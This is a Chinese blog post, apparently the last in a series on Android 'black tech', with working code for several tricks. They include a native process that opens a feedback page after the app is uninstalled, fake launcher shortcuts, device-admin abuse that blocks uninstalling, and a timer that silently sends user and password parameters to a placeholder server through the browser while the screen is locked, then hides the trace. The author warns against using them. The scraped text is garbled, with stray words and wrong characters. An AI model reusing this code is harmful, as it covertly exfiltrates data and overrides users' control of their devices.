「我在發抖麼?
你開什麼玩笑。我只是在跳愉快的尬舞。
暗影是不會向邪惡勢力低頭的。 萬歲(≧▽≦)/!!」
-- 來自暗世界android工程師html
前言:java
本篇是本系列的最後一個篇章。其實這些活兒也不全是在幹壞事用。咱們的重點不該該放在那某個技術點上。應該從中觸類旁通的思考。在好的一方面把學到的技術落到實處。好比往下面會講到的往桌面添加快捷方式,你能夠選擇結合時下最火的插件化技術搭配添加快捷方式,實現一個無需安裝app就完整的擁有啓動圖標和應用生命週期的附屬app。用戶喜歡的狀況下,這不挺好的嗎?畢竟也是一把雙刃劍。android
這個世界上手機有三大系統,蘋果、 安卓、 中國安卓 。本篇強烈呼籲你們不要去作哪些違反用戶體驗的黑科技功能,研究研究玩玩就行了啦。全當增加技術,在真實的項目開發中儘可能能不用就不要用得好。道理你們都懂的。git
那些年Android黑科技②:欺騙的藝術github
早在國內某app上有看到一旦卸載該app就立馬彈出一個網頁來讓我填寫爲何要卸載它。從產品的角度來講,這無疑是很是好的反饋設計。可是這件事情對手機和用戶來講並很差事。實現上技術上會不斷的輪訓手機的目錄。shell
原理剖析:
咱們知道當apk正常安裝在手機上時會寫入到/data/data/包名目錄下。被卸載後系統會刪除掉。數據庫
因此藉助NDK開發fork出來的C語言寫的的子進程代碼,在應用被卸載後不會被銷燬的特性。作進程內不斷輪訓/data/data/包名是否存在。瀏覽器
當apk被卸載後若是你輪訓的代碼是java寫的。他會伴隨虛擬機一塊兒銷燬。可是因爲是用C來作輪訓,利用了Linux子進程和java虛擬機不在一個進程中的特性就不怕被殺,這點和第一篇咱們講到的雙進程守護有殊途同歸之妙。可是android 5.0谷歌仍是幹掉了這件事,因此請君放心。哈哈
下面是C的實現部分。
Java_com_charon_uninstallfeedback_MainActivity_initUninstallFeedback( JNIEnv* env, jobject thiz, jstring packageDir, jint sdkVersion) { char * pd = Jstring2CStr(env, packageDir); //fork子進程,以執行輪詢任務 pid_t pid = fork(); if (pid < 0) { // fork失敗了 } else if (pid == 0) { // 能夠一直採用一直判斷文件是否存在的方式去判斷,可是這樣效率稍低,下面使用監聽的方式,死循環,每一個一秒判斷一次,這樣太浪費資源了。 int check = 1; while (check) { FILE* file = fopen(pd, "rt"); if (file == NULL) { if (sdkVersion >= 17) { // Android4.2系統以後支持多用戶操做,因此得指定用戶 execlp("am", "am", "start", "--user", "0", "-a", "android.intent.action.VIEW", "-d", "http://shouji.360.cn/web/uninstall/uninstall.html", (char*) NULL); } else { // Android4.2之前的版本無需指定用戶 execlp("am", "am", "start", "-a", "android.intent.action.VIEW", "-d", "http://shouji.360.cn/web/uninstall/uninstall.html", (char*) NULL);} check = 0; } else { } sleep(1); } } }
java層調用部分
public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); String packageDir = "/data/data/" + getPackageName(); initUninstallFeedback(packageDir, Build.VERSION.SDK_INT); } private native void initUninstallFeedback(String packagePath, int sdkVersion); static { System.loadLibrary("uninstall_feedback"); } }
細節代碼請參考Github
https://github.com/CharonChui/UninstallFeedback
通常在開發中,咱們沒法直接在活動中收到用戶點擊Home返回這樣的操做回調。但多數狀況下,咱們開發的應用是須要感知用戶離開的狀態的。這裏咱們能夠利用廣播來作這件事情。
有這樣一個動態廣播來作監聽。
android.intent.action.CLOSE_SYSTEM_DIALOGS
咱們繼承一個廣播類,在裏面能夠收到用戶按下Home鍵和長按Home(或任務鍵,取決於手機的設計)
在activity裏註冊一下這個廣播
很是簡單的就實現了。下面是展現效果,能夠看到日誌上的結果,咱們點擊Home按鍵時收到了廣播。
GitHub地址:https://github.com/BolexLiu/AndroidHomeKeyListen
不知道你們有沒有被這種流氓軟件襲擊過,你打開過他一次,後面就淚流滿面的給你裝了滿滿的一屏幕其餘亂七八糟的一堆快捷方式。注意可能會誤認爲被偷偷安裝了其餘App,實際上他只是一個帶圖標的Intent在你的桌面上,但不排除root後的機器安裝app是真的,但咱們今天這裏只講快捷方式。
原理解析:
咱們已經把AndroidManifest寫爛了,一眼看過去就知道這個標籤的做用。
<activity android:name=".xxx"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity>
沒錯,咱們再熟悉不過了,通常咱們理解成將做爲App的第一個被啓動的Activity聲明。實際上咱們知道Android的桌面(launcher ,通常作rom層的同窗接觸比較多)上點擊任意一個app都是經過Intent啓動的。
神曾經說過,不懂的地方。read the fucking source code,那麼咱們來趴一趴launcher的源碼,它是如何接收到咱們要添加的快捷方式的。(別懼怕,源碼沒有想象中那麼難度,跳着看。屏蔽咱們不關注的部分。)
拿到一個Android應用層的項目第一件事情幹嗎?看配置文件唄。來咱們瞅一眼launcher的AndroidManifest。
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.android.launcher"> <!--爲了便於閱讀,我省略了跟本篇可有可無的代碼 --> <!-- Intent received used to install shortcuts from other applications --> <receiver android:name="com.android.launcher2.InstallShortcutReceiver" android:permission="com.android.launcher.permission.INSTALL_SHORTCUT"> <intent-filter> <action android:name="com.android.launcher.action.INSTALL_SHORTCUT" /> </intent-filter> </receiver> <!-- Intent received used to uninstall shortcuts from other applications --> <receiver android:name="com.android.launcher2.UninstallShortcutReceiver" android:permission="com.android.launcher.permission.UNINSTALL_SHORTCUT"> <intent-filter> <action android:name="com.android.launcher.action.UNINSTALL_SHORTCUT" /> </intent-filter> </receiver> </manifest>
注意咱們發現了兩個receiver標籤,從上面的註釋能夠發現
接收其餘應用安裝的快捷方式意圖。這裏就代表了launcher 是經過廣播來添加快捷方式的。咱們接着翻源碼,看他是怎麼處理這條廣播的。根據receiver裏的name標籤咱們找到InstallShortcutReceiver.java這個類。
首先咱們發現他繼承了BroadcastReceiver ,很明顯就是一個廣播接收者,咱們直接看onReceive方法裏如何處理的。
//代碼細節部分省略太長了,不方便貼。能夠本身去下載源碼看。 public class InstallShortcutReceiver extends BroadcastReceiver { //作了不少處理,好比尋找將接受到的快捷方式放在屏幕的哪一個位置、重複的圖標提示等 public void onReceive(Context context, Intent data) { //判斷這條廣播的合法性 if (!ACTION_INSTALL_SHORTCUT.equals(data.getAction())) { return; } ·····略 } //最終咱們發現了這個方法,將快捷方式添加到桌面並存儲到數據庫 private static boolean installShortcut(Context context, Intent data, ...參數省略) { ·····略 if (intent.getAction() == null) { intent.setAction(Intent.ACTION_VIEW); } else if (intent.getAction().equals(Intent.ACTION_MAIN) && intent.getCategories() != null && intent.getCategories().contains(Intent.CATEGORY_LAUNCHER)) { intent.addFlags( Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED); } ····略 } ····略 }
重點看下面這幾行,順藤摸瓜得知這個Intent來自來自別的app或系統發過來的廣播。下面黃橫線的部分已經解釋了,咱們本身平時開發的app配置的主啓動項Activitiy intent-filter在哪裏被用到了。這裏接收到後的intent將加到桌面並存儲到數據庫中。由此算是明白了系統究竟是怎麼作的。
實現添加快捷方式:
好,既然已經知道原理了,咱們如今就來實現一把,怎麼添加一個任意的圖標到桌面。
首先咱們須要配置權限聲明
<uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" /> <uses-permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT" />
第二步捏造一個添加快捷方式的廣播,具體請看下面的代碼。注意裏面有兩個Intent,其中一個是廣播的,一個是咱們本身下次啓動快捷方式時要用的,啓動時能夠攜帶Intent參數。(能作什麼,知道了吧?哈哈)
public static void addShortcut(Activity cx, String name) { // TODO: 2017/6/25 建立快捷方式的intent廣播 Intent shortcut = new Intent("com.android.launcher.action.INSTALL_SHORTCUT"); // TODO: 2017/6/25 添加快捷名稱 shortcut.putExtra(Intent.EXTRA_SHORTCUT_NAME, name); // 快捷圖標是容許重複 shortcut.putExtra("duplicate", false); // 快捷圖標 Intent.ShortcutIconResource iconRes = Intent.ShortcutIconResource.fromContext(cx, R.mipmap.ic_launcher); shortcut.putExtra(Intent.EXTRA_SHORTCUT_ICON_RESOURCE, iconRes); // TODO: 2017/6/25 咱們下次啓動要用的Intent信息 Intent carryIntent = new Intent(Intent.ACTION_MAIN); carryIntent.putExtra("name", name); carryIntent.setClassName(cx.getPackageName(),cx.getClass().getName()); carryIntent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); //添加攜帶的Intent shortcut.putExtra(Intent.EXTRA_SHORTCUT_INTENT, carryIntent); // TODO: 2017/6/25 發送廣播 cx.sendBroadcast(shortcut); }
下面們調用一下看看。這裏我添加了四個快捷方式,分別是abcd、abc、ab、a,而後咱們返回桌面看一眼。他們都是能夠啓動的。
github地址:https://github.com/BolexLiu/AddShortcut
DevicePolicManager 能夠作什麼?
首先我想,若是你是一個Android重度體驗用戶,在Rom支持一鍵鎖屏以前,你也許裝過一種叫快捷鎖屏、一鍵鎖屏之類的替代實體鍵鎖屏的應用。其中致使的問題就是當咱們不須要用它的時候卻發現沒法被卸載。
原理解析:
從功能上來看,自己該項服務是用來控制設備管理,它是Android用來提供對系統進行管理的。因此一但獲取到權限,不知道Android出於什麼考慮,系統是不容許將其卸載掉的。咱們只是在這裏鑽了空子。
實現步驟:
繼承DeviceAdminReceiver類,裏面的能夠不要作任何邏輯處理。
public class MyDeviceAdminReceiver extends DeviceAdminReceiver { }
註冊一下,description能夠寫一下你給用戶看的描述。
<receiver android:name=".MyDeviceAdminReceiver" android:description="@string/description" android:label="防卸載" android:permission="android.permission.BIND_DEVICE_ADMIN" > <meta-data android:name="android.app.device_admin" android:resource="@xml/deviceadmin" /> <intent-filter> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> </intent-filter> </receiver>
調用系統激活服務
// 激活設備超級管理員 public void activation() { Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN); // 初始化要激活的組件 ComponentName mDeviceAdminSample = new ComponentName(MainActivity.this, MyDeviceAdminReceiver.class); intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mDeviceAdminSample); intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, "激活能夠防止隨意卸載應用"); startActivity(intent); }
咱們來看下運行的效果。激活之前是能夠被卸載的。
激活之後沒法被卸載,連刪除按鈕都沒有了。就算你拿其餘安全工具或系統的卸載也不能卸載哦。
可是咱們能夠在設備管理器中能夠取消激活就恢復了。這裏咱們是正常的方式來激活,不能排除root後的設備,當app拿到root權限後將本身提權自動激活,或者將自身寫入到系統app區域,達到沒法卸載的目的。因此咱們常說root後的設備是不安全的也就在這裏能說明問題。
github地址:https://github.com/BolexLiu/SuPerApp
這是一種超流氓的方式,目前市面上是存在這種app的。普通用戶不太注意的話通常發現不了。另外一個對立面說用戶把app的訪問網絡權限禁用瞭如何告訴服務器消息呢?
原理解析:
雖然應用沒有權限,或者咱們以前有權限被用戶屏蔽了。可是咱們能夠借雞下蛋,調用系統瀏覽器帶上咱們要訪問的參數。實際在服務端收到的時候就是一個get請求能夠解析後面拼接出的參數。好比: http://192.168.0.2/send?user=1&pwd=2
這樣就能夠把user和pwd提交上去。固然這一切還不能被用戶發現,因此很變態的判斷用戶鎖屏後就打開瀏覽器發送消息,用戶一旦解鎖就回到桌面上,僞裝一切都沒有發生過。
實現代碼:
原本我不許備把代碼貼出來的,但想了一下又有何妨。即使我不貼出來你也能找到,也能跟着思路寫出來。可是千萬千萬不要給用戶作這種東西。拜託了各位。
Timer timer = new Timer(); final KeyguardManager km = (KeyguardManager) getSystemService(KEYGUARD_SERVICE); TimerTask task = new TimerTask() { @Override public void run() { // TODO: 2017/6/26 若是用戶鎖屏狀態下,就打開網頁經過get方式偷偷傳輸數據 if (km.inKeyguardRestrictedInputMode()) { Intent intent = new Intent(); intent.setAction(Intent.ACTION_VIEW); intent.addCategory(Intent.CATEGORY_BROWSABLE); intent.setData(Uri .parse("http://192.168.0.2/send?user=1&pwd=2")); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); startActivity(intent); }else{ // TODO: 2017/6/26 判斷若是在桌面就什麼也不作 ,若是不在桌面就返回 Intent intent = new Intent(); intent.setAction("android.intent.action.MAIN"); intent.addCategory("android.intent.category.HOME"); intent.addCategory(Intent.CATEGORY_DEFAULT); intent.addCategory("android.intent.category.MONKEY"); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); startActivity(intent); } } }; timer.schedule(task, 1000, 2000);
本系列到這裏算是完結了。這個系列的技術大多數來自互聯網上。我只是感興趣作了一些本身的研究。作這些事情告訴我一個道理,論閱讀源碼的重要性。我也不是什麼大神,只是普通的一個程序員。別再叫我大佬了。雖然我在過往的文風中總是大佬大佬的。但那只是編的故事。哈哈
咱們這代人就像紅橙Darren說的給了咱們年輕人太多。這一路上我老是在特殊的時間點是上遇到貴人,在他們的幫助下少走很多彎路。真的很感謝這一切的發生。還有在看文章的你。真的,大家每一次點贊、喜歡、評論和關注都成爲了我繼續努力的動力 ,之前我只是寫給本身看作一下筆記,當我發現愈來愈多的人在看我寫的東西的時候,我想我就必須對此負責,而不是隨便搞搞。
特別感謝公衆號碼個蛋 ****BaseRecyclerViewAdapterHelper****的做者陳宇明。最近兩天交流之中感覺頗多。在這裏表示謝謝他的指點。老哥,穩!
做者:香脆的大雞排 連接:http://www.jianshu.com/p/8f9b44302139 來源:簡書 著做權歸做者全部。商業轉載請聯繫做者得到受權,非商業轉載請註明出處。